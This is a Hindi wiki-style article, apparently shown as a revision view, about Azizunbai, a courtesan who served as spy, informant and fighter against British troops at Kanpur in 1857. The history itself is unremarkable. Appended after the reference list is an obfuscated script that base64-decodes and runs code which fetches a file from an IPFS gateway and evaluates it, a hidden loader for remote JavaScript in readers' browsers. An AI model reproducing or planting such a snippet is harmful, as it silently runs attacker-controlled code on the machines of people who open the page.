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'''अज़ीज़ुंबाई''' [[भारत]] की महिला क्रांतिकारियों में से एक थीं। यद्यपि वह एक तवायफ़ थीं, लेकिन फिर भी देश की स्वतंत्रता के लिए अपना योगदान देती रहीं। क्रांतिकारियों की मरहमपट्टी, चोरी-छिपे उन्हें आश्रय देना और हथियारों की पूर्ति करने जैसे कार्य अज़ीज़ुंबाई ने बखूवी निभाए।<br />
 
'''अज़ीज़ुंबाई''' [[भारत]] की महिला क्रांतिकारियों में से एक थीं। यद्यपि वह एक तवायफ़ थीं, लेकिन फिर भी देश की स्वतंत्रता के लिए अपना योगदान देती रहीं। क्रांतिकारियों की मरहमपट्टी, चोरी-छिपे उन्हें आश्रय देना और हथियारों की पूर्ति करने जैसे कार्य अज़ीज़ुंबाई ने बखूवी निभाए।<br />
 
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*अज़ीज़ुंबाई, [[होससैनी]] तथा [[गौहर जान (क्रांतिकारी)]], ये उन महिलाओं के नाम हैं, जो देश की स्वतंत्रता के लिए कंधे से कन्धा मिलकर लड़ी थींं। भारतीय स्वतंत्रता का प्रथम संग्राम 1857 तवायफों के योगदान का गवाह रहा है।
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*अज़ीज़ुंबाई, [[होससैनी]] तथा [[गौहर जान (क्रांतिकारी)|गौहर जान]], ये उन महिलाओं के नाम हैं, जो देश की स्वतंत्रता के लिए कंधे से कन्धा मिलकर लड़ी थींं। भारतीय स्वतंत्रता का प्रथम संग्राम 1857 तवायफों के योगदान का गवाह रहा है।
 
*इस आंदोलन में अज़ीज़ुंबाई ने जासूस, ख़बरी तथा स्वाधीनता सेनानी तीन भूमिकाओं को बखूबी निभाया था।
 
*इस आंदोलन में अज़ीज़ुंबाई ने जासूस, ख़बरी तथा स्वाधीनता सेनानी तीन भूमिकाओं को बखूबी निभाया था।
 
*अज़ीज़ुंबाई [[कानपुर]] के कोठे पर थीं, यहाँ अक्सर [[अंग्रेज़]] सैनिक आते और अपनी रणनीति की चर्चा करते थे। अंग्रेज़ सैनिकों से राज उगलवाने तथा उन्हें भारतीय स्वाधीनता सैनिकों को देने का कार्य अज़ीज़ुंबाई किया करती थीं।<ref>{{cite web |url=https://www.opennaukri.com/forgotten-female-freedom-fighters-in-india/ |title=भारत की गुमनाम महिला स्वंत्रता सेनानी|accessmonthday=04 जुलाई|accessyear=2020 |last= |first= |authorlink= |format= |publisher=opennaukri.com |language=हिंदी}}</ref>
 
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09:12, 4 जुलाई 2020 के समय का अवतरण

अज़ीज़ुंबाई भारत की महिला क्रांतिकारियों में से एक थीं। यद्यपि वह एक तवायफ़ थीं, लेकिन फिर भी देश की स्वतंत्रता के लिए अपना योगदान देती रहीं। क्रांतिकारियों की मरहमपट्टी, चोरी-छिपे उन्हें आश्रय देना और हथियारों की पूर्ति करने जैसे कार्य अज़ीज़ुंबाई ने बखूवी निभाए।

  • अज़ीज़ुंबाई, होससैनी तथा गौहर जान, ये उन महिलाओं के नाम हैं, जो देश की स्वतंत्रता के लिए कंधे से कन्धा मिलकर लड़ी थींं। भारतीय स्वतंत्रता का प्रथम संग्राम 1857 तवायफों के योगदान का गवाह रहा है।
  • इस आंदोलन में अज़ीज़ुंबाई ने जासूस, ख़बरी तथा स्वाधीनता सेनानी तीन भूमिकाओं को बखूबी निभाया था।
  • अज़ीज़ुंबाई कानपुर के कोठे पर थीं, यहाँ अक्सर अंग्रेज़ सैनिक आते और अपनी रणनीति की चर्चा करते थे। अंग्रेज़ सैनिकों से राज उगलवाने तथा उन्हें भारतीय स्वाधीनता सैनिकों को देने का कार्य अज़ीज़ुंबाई किया करती थीं।[1]
  • अज़ीज़ुंबाई भारतीय सैनिकों के कानपुर किले की घेराबंदी के समय, अंग्रेज़ सैनिकों से एक सैनिक के समान लड़ीं। उन्होंने पुरुष पोशाक में, घोड़े का उपयोग करते हुए, बन्दूक के साथ अंग्रेज़ सैनिकों से लोहा लिया।
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टीका टिप्पणी और संदर्भ

  1. भारत की गुमनाम महिला स्वंत्रता सेनानी (हिंदी) opennaukri.com। अभिगमन तिथि: 04 जुलाई, 2020।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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